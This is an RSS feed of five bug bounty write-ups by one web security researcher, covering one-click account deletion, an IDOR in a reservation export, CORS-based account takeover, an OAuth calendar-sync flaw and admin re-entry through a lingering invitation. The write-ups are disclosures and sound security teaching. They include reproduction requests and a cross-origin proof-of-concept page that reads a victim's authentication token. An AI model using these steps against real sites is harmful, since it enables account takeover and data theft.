<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
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        <title><![CDATA[Stories by 0xfalcon on Medium]]></title>
        <description><![CDATA[Stories by 0xfalcon on Medium]]></description>
        <link>https://medium.com/@0xfalcon7?source=rss-9f55db1216d4------2</link>
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            <title>Stories by 0xfalcon on Medium</title>
            <link>https://medium.com/@0xfalcon7?source=rss-9f55db1216d4------2</link>
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        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:53:19 GMT</lastBuildDate>
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            <title><![CDATA[One-Click Account Deletion: How a Direct Link Can Instantly Delete an Authenticated User’s Account]]></title>
            <link>https://medium.com/@0xfalcon7/one-click-account-deletion-how-a-direct-link-can-instantly-delete-an-authenticated-users-account-4fb7c054fa3c?source=rss-9f55db1216d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fb7c054fa3c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[0xfalcon]]></dc:creator>
            <pubDate>Sat, 10 Oct 2026 09:22:14 GMT</pubDate>
            <atom:updated>2026-10-10T09:36:06.129Z</atom:updated>
            <content:encoded><![CDATA[<p>Account<strong>By Mohamed Elasswy (@0xfalcon)</strong><br><em>Web Security Researcher | Bug Bounty Hunter</em></p><p>about me:</p><p>I’m Mohamed Elasswy, (0xfalcon), a Cybersecurity Researcher and Bug Bounty Hunter focused on finding security vulnerabilities in web applications and APIs. I enjoy exploring applications, identifying security flaws, and helping organizations improve their security through responsible disclosure.</p><h3>Overview</h3><p>During a bug bounty assessment, I discovered an endpoint that could close an authenticated user’s account simply by opening a direct URL.</p><p>I reported the issue, but the triage team rejected the submission because one important question remained unanswered: <strong>How could an attacker obtain the victim’s </strong><strong>pivot_uid?</strong></p><p>Instead of giving up on the finding, I went back to the application and continued exploring its functionality. I browsed through the site while monitoring requests and responses in Burp Suite.</p><p>I then searched through the HTTP history for the identifier. That’s when I found it: the required value was exposed in a booking-related response under the name business_uid.</p><p>With that missing piece identified, the attack scenario became much clearer.</p><h3>Steps to Reproduce</h3><ol><li>Browse the application while capturing traffic in Burp Suite.</li><li>Search the HTTP history for business_uid.</li><li>Inspect the corresponding response and retrieve the identifier.</li><li>Use the identifier in the following URL:</li><li>https://www.test.com/account/close?frontage_iframe=true&amp;pivot_uid=&lt;business_uid&gt;</li><li>Open the URL in a browser authenticated to the test account.</li><li>Observe that the account closure action is triggered without an additional confirmation step.</li></ol><h3>Impact</h3><p>An attacker who obtains the required identifier could craft a direct link that may trigger account closure when opened by an authenticated user, potentially causing loss of account access and disruption to associated business operations.</p><h3>the bounty</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*3wJlNqJM-36yTAffPvIBBw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fb7c054fa3c" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Sensitive Customer Data Exposure Through a Reservation XLSX Export]]></title>
            <link>https://medium.com/@0xfalcon7/sensitive-customer-data-exposure-through-a-reservation-xlsx-export-9e643666fd14?source=rss-9f55db1216d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e643666fd14</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[0xfalcon]]></dc:creator>
            <pubDate>Wed, 16 Sep 2026 10:33:01 GMT</pubDate>
            <atom:updated>2026-09-16T10:33:01.356Z</atom:updated>
            <content:encoded><![CDATA[<h4><em>An IDOR allowed unauthorized access to another restaurant’s reservation data.</em></h4><h3>About Me</h3><p>Hi, I’m <strong>Mohamed Elasswy (0xfalcon)</strong>, a Cybersecurity Researcher and Bug Bounty Hunter focused on Web Application Security and API Security. I actively hunt for real-world vulnerabilities and share my findings with the security community.</p><h3><strong>Introduction</strong></h3><blockquote>I Changed One ID — And Downloaded Another Restaurant’s Customer Data</blockquote><p>While testing a restaurant reservation platform, I found an XLSX export feature that generated reservation data through this endpoint:</p><pre>POST /api/v1/restaurants/&lt;restaurant_id&gt;/reservations/export</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BbDXJ4qp2SeeUAT5brCQYA.png" /></figure><p>The interesting part was the restaurant_id.</p><p>I first exported my own restaurant’s reservations successfully. Then I changed the ID to another valid restaurant identifier while keeping the <strong>same authenticated session</strong>.</p><pre>POST /api/v1/restaurants/&lt;my_restaurant_id&gt;/reservations/export</pre><p>became:</p><pre>POST /api/v1/restaurants/&lt;another_restaurant_id&gt;/reservations/export</pre><p>The server accepted the request and generated an XLSX file for the other restaurant.</p><h3>What Was Exposed?</h3><p>The file contained reservation and customer information, including:</p><ul><li>Customer names</li><li>Reservation notes</li><li>Allergy information</li><li>Internal restaurant notes</li><li>Number of people</li><li>Areas / tables</li><li>Reservation status</li></ul><p>No privilege escalation or authentication bypass was required.</p><p>The issue was an <strong>IDOR / Broken Object-Level Authorization (BOLA)</strong>: the server trusted the user-controlled restaurant_id without properly verifying whether the authenticated user was authorized to access that restaurant.</p><h3>Impact</h3><p>An authenticated user could access another restaurant’s reservation data through the export endpoint, potentially exposing sensitive customer and internal restaurant information.</p><p>The vulnerability was reported responsibly and was rewarded with <strong>CHF</strong> <strong>3,000 ($3,660)</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e643666fd14" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[How I Turned a CORS Misconfiguration into Full Account Takeover]]></title>
            <link>https://medium.com/@0xfalcon7/how-i-turned-a-cors-misconfiguration-into-full-account-takeover-d34b9c529f8e?source=rss-9f55db1216d4------2</link>
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            <dc:creator><![CDATA[0xfalcon]]></dc:creator>
            <pubDate>Tue, 12 May 2026 05:16:57 GMT</pubDate>
            <atom:updated>2026-05-12T05:35:33.747Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A misconfigured CORS policy on a sensitive authentication endpoint allowed attackers to perform authenticated cross-origin requests and fully compromise user accounts.</em></p><h3>About Me</h3><p>Hi, I’m <strong>Mohamed Elasswy (0xfalcon)</strong>, a Cybersecurity Researcher and Bug Bounty Hunter focused on Web Application Security and API Security. I actively hunt for real-world vulnerabilities and share my findings with the security community.</p><h3>Why CORS Matters</h3><p>Modern browsers enforce the <strong>Same-Origin Policy (SOP)</strong>, which prevents websites from reading responses coming from other domains.</p><p>To allow controlled exceptions, <strong>CORS (Cross-Origin Resource Sharing)</strong> exists as a mechanism that lets servers explicitly trust specific origins.</p><p>However, when misconfigured, CORS can become dangerous — especially when:</p><ul><li>Untrusted origins are allowed</li><li>Credentials are enabled (Access-Control-Allow-Credentials: true)</li><li>Sensitive endpoints are exposed</li></ul><p>In such cases, attacker-controlled websites can interact with authenticated user sessions.</p><h3>Initial Discovery</h3><p>During testing, I noticed an authentication-related endpoint responsible for generating or returning user tokens.</p><p>A normal request looked like this:</p><pre>POST /app/get_token HTTP/2<br>Host: redacted.example<br>Cookie: _session=REDACTED<br>Origin: https://attacker.com</pre><p>After manipulating the request and observing the response, I noticed something critical:</p><pre>Access-Control-Allow-Origin: https://attacker.com<br>Access-Control-Allow-Credentials: true</pre><p>This indicated that:</p><ul><li>The server was trusting external origins</li><li>The response could be read by attacker-controlled JavaScript</li><li>The victim’s session cookies would be automatically included</li></ul><h3>Proof of Concept</h3><p>To confirm exploitation, I created a simple HTML page:</p><pre>&lt;html&gt;<br>&lt;body&gt;<br>&lt;button onclick=&quot;exploit()&quot;&gt;Exploit&lt;/button&gt;<br>&lt;textarea id=&quot;output&quot; rows=&quot;10&quot; cols=&quot;60&quot;&gt;&lt;/textarea&gt;<br>&lt;script&gt;<br>function exploit() {<br>    var xhr = new XMLHttpRequest();<br>    xhr.withCredentials = true;<br>    xhr.onload = function() {<br>        document.getElementById(&quot;output&quot;).value = this.responseText;<br>    };<br>    xhr.open(&quot;POST&quot;, &quot;https://redacted.example/app/get_token&quot;, true);<br>    xhr.send();<br>}<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h3>What happens?</h3><p>If a logged-in user visits this page:</p><ul><li>The browser automatically includes their session cookies</li><li>The request is processed as authenticated</li><li>The response (token) is exposed to JavaScript</li></ul><h3>Exploitation Flow</h3><ol><li>Victim logs into the application</li><li>Victim visits attacker-controlled website</li><li>Malicious script sends cross-origin request</li><li>Browser attaches session cookies automatically</li><li>Server returns a valid authentication token</li><li>Attacker retrieves and uses the token</li></ol><h3>Impact</h3><p>The application used this token as a <strong>valid authentication mechanism</strong>, meaning whoever owns the token is treated as the logged-in user.</p><p>With this token, I was able to:</p><ul><li>Authenticate as the victim</li><li>Access sensitive account data</li><li>Perform privileged actions</li><li>Change account email address</li></ul><h3>Account Takeover Chain</h3><p>Once email change was possible:</p><ol><li>Attacker uses token to authenticate</li><li>Victim’s email is changed to attacker-controlled email</li><li>Password reset is triggered</li><li>Attacker gains full control of the account</li></ol><h3>Final Impact</h3><p>This turned a simple CORS misconfiguration into:</p><blockquote><strong><em>Full Account Takeover</em></strong></blockquote><h3>Root Cause</h3><p>The vulnerability was caused by a combination of:</p><ul><li>Improper validation of Origin</li><li>Misconfigured Access-Control-Allow-Origin</li><li>Access-Control-Allow-Credentials: true enabled</li><li>Sensitive endpoint exposed to cross-origin access</li></ul><h3>Recommendations</h3><p>To prevent similar issues:</p><ul><li>Use strict allowlist for trusted origins</li><li>Never reflect arbitrary Origin values</li><li>Avoid using credentials with permissive CORS</li><li>Protect sensitive endpoints from cross-origin access</li><li>Implement CSRF protection for state-changing actions</li><li>Regularly audit CORS configurations</li></ul><h3>Bug Bounty Outcome</h3><p>This finding was submitted through the official bug bounty program and was successfully triaged and validated.</p><p>Due to the critical impact (full account takeover), the report was eligible for a <strong>high-severity reward</strong>, which was later awarded by the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*t09otwi8RMOH9079lVrkQA.png" /></figure><h3>Conclusion</h3><p>CORS is often misunderstood as a simple configuration detail, but in reality, it can directly impact authentication security.</p><p>In this case, a single misconfiguration was enough to:</p><blockquote><em>Extract authentication tokens → escalate privileges → change email → fully take over accounts.</em></blockquote><p>Small mistakes in CORS can lead to catastrophic security failures when combined with sensitive functionality.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d34b9c529f8e" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Exploiting OAuth Misconfigurations to Sync Google Calendar Without User Interaction]]></title>
            <link>https://medium.com/@0xfalcon7/exploiting-oauth-misconfigurations-to-sync-google-calendar-without-user-interaction-0a00aaada4f9?source=rss-9f55db1216d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a00aaada4f9</guid>
            <dc:creator><![CDATA[0xfalcon]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 00:19:13 GMT</pubDate>
            <atom:updated>2025-04-06T05:21:59.599Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>#About Me:</strong></h3><p>I’m Mohamed El-3sswi, a Security Researcher and Bug Hunter at HackerOne. I have discovered security vulnerabilities in major companies such as glassdoor, Toyota and Porsche.</p><h3>Introduction<strong><em>:</em></strong></h3><p>I discovered a serious flaw in the <strong>Google Calendar Sync</strong> authentication system implemented by <strong>example.com</strong>, which allowed attackers to establish a synchronization connection <strong>without user interaction</strong>. This flaw stems from the ability to retrieve a <strong>State ID</strong>, which is validated by Google as an authentication token <strong>without requiring additional authentication</strong> from the user.</p><p>The attack follows a structured approach:</p><ol><li><strong>Extract the victim’s Employee ID</strong> through an API request to example.com.</li><li><strong>Use the Employee ID</strong> to retrieve a <strong>State ID</strong>, which acts as an authentication token.</li><li><strong>Exploit the State ID</strong> to perform <strong>automatic authentication</strong>, enabling the attacker to sync Google Calendar without the victim’s knowledge.</li></ol><p>Since example.com relies solely on the State ID for validation, an attacker can initiate synchronization <strong>without requiring explicit user authentication</strong>, effectively bypassing security measures.</p><p>The <strong>State ID</strong> is similar to a <strong>verification token</strong>, which the website relies on for authentication. It is directly linked to the <strong>Employee ID</strong>, making it a key element in the validation process.</p><p>This system operates similarly to a <strong>booking system</strong>, where users’ calendars are synchronized to manage scheduled events and appointments automatically.</p><p>This vulnerability poses a significant threat as it allows unauthorized access to sensitive calendar data, including event details, schedules, and potentially confidential information.</p><h3>Steps to Reproduce</h3><h3>1️⃣ Retrieve the Victim’s Employee ID</h3><p>The attacker sends the following request to obtain the victim’s <strong>employee_id</strong>:</p><pre>GET /v3/subscription/merchants/&lt;merchants_id&gt; HTTP/2<br>Host: &lt;REDACTED&gt;<br>User-Agent: <br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: &lt;REDACTED&gt;<br>Authorization: Bearer &lt;JWT_TOKEN&gt;<br>Origin: &lt;REDACTED&gt;<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: cross-site</pre><p>✅ <strong>Expected Response:</strong> The attacker obtains the victim’s <strong>employee_id</strong>, which will be used in the next step to extract the <strong>State ID</strong>.</p><h3>2️⃣ Extract State ID to Initiate Synchronization</h3><p>After obtaining the <strong>employee_id</strong>, the attacker sends the following request to retrieve the associated <strong>State ID</strong>:</p><pre>GET /oauth/google_calendar_sync?employee_id=&lt;employee_id&gt;&amp;slug=test HTTP/2 <br>Host: &lt;REDACTED&gt;<br>User-Agent: <br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: &lt;REDACTED&gt;<br>Upgrade-Insecure-Requests: 1<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: cross-site<br>Sec-Fetch-User: ?1</pre><p>✅ <strong>Expected Response:</strong> The attacker receives the <strong>State ID</strong>, which will later be used to complete the authentication process automatically without user interaction.</p><h3>3️⃣ Start Authentication Using the Victim’s State ID</h3><p>The attacker uses the stolen <strong>State ID</strong> to log in automatically by visiting the following URL:</p><pre>https://REDACTED.com/callbacks/google_calendar_sync?state=&lt;state_id&gt;&amp;code=4/0AQSTgQF4DuLXDTJ3VwJzM4OlAkR8CVRWo1IZQf5S5sL2CUVMnpsxIXvFhnFSuRMNNjGNE_Q&amp;scope=https://www.googleapis.com/auth/calendar</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*SwcbkiaocdJZBVXORxNiwA.png" /></figure><p>🔹 At this stage, the attacker intercepts the request sent to Google, then <strong>manually inserts the victim’s State ID</strong> before forwarding it to the server, allowing synchronization without any user interaction.</p><p>✅ <strong>Final Result:</strong></p><ul><li>The attacker successfully <strong>authenticates</strong> the victim’s Google Calendar without their knowledge.</li><li>They can <strong>sync data, extract sensitive information, and modify events and schedules</strong> without user permission.</li></ul><h3>Security Impact</h3><ul><li><strong>📌 Privacy Violation:</strong> Unauthorized access to users’ calendar data and personal information.</li><li><strong>Phishing Exploitation:</strong> Malicious links can be added to the victim’s calendar, increasing phishing risks.</li><li><strong>🛠 Data Manipulation:</strong> Inserting misleading events that could confuse or deceive users.</li></ul><h3>✅ Conclusion</h3><p>This vulnerability highlights the risks of weak <strong>OAuth authentication implementations</strong> if proper user consent verification is not enforced. Organizations relying on OAuth should <strong>strengthen security measures</strong> to prevent unauthorized authentication processes.</p><p><strong>Report Status: Under triage and evaluation (Triaged)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a00aaada4f9" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[How an Expelled Admin Can Re-enter and Take Full Control of the Company’s Account]]></title>
            <link>https://medium.com/@0xfalcon7/how-an-expelled-admin-can-re-enter-and-take-full-control-of-the-companys-account-d68014ef974d?source=rss-9f55db1216d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/d68014ef974d</guid>
            <dc:creator><![CDATA[0xfalcon]]></dc:creator>
            <pubDate>Tue, 12 Nov 2024 03:59:55 GMT</pubDate>
            <atom:updated>2024-11-12T03:59:55.280Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>#About Me:</strong></p><p>I’m Mohamed El-3sswi, a Security Researcher and Bug Hunter at HackerOne. I have discovered security vulnerabilities in major companies such as glassdoor, Toyota, and Porsche.</p><p>Today, I found a security vulnerability that allow The admin who was expelled from the company can re-enter it Then fully seize control of the company’s account.Let’s get started.</p><p><strong><em>Let’s Go:</em></strong></p><h3>Steps To Reproduce:</h3><p>Permission management in role-based systems is a critical factor in ensuring security and control over users. However, in some systems, there may be vulnerabilities in how invitations or role changes are handled, allowing attackers or privileged users to access the system in unexpected ways.</p><p>One such vulnerability relates to the ability to “re-invite oneself” as an “Admin” even after being deleted by another administrator. Let’s take a look at how this issue occurs:</p><ol><li><strong>Admin2 Re-invites Themselves as Admin (New Invitation):</strong> Initially, “Admin2” sends a new invitation to themselves as “Admin.” This means that even if they lose administrative privileges, the invitation they sent to themselves remains valid and can be used later.</li><li><strong>Admin1 Deletes Admin2 from the Organization:</strong> Next, “Admin1” deletes “Admin2” from the organization, which removes their administrative privileges within the system.</li><li><strong>Validity of the New Invitation (Even After Deletion):</strong> Despite “Admin2” being deleted from the organization, the new invitation they sent to themselves as “Admin” remains valid. As a result, “Admin2” can use this invitation to re-enter the system as “Admin,” allowing them to regain their administrative privileges.</li></ol><p><strong>Impact:</strong>This vulnerability allows a deleted admin to regain their privileges by using a previously sent invitation, enabling unauthorized access and control over the system, posing a significant security risk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*c7Wk2ZY6_eROuPUxycZ2AA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d68014ef974d" width="1" height="1" alt="">]]></content:encoded>
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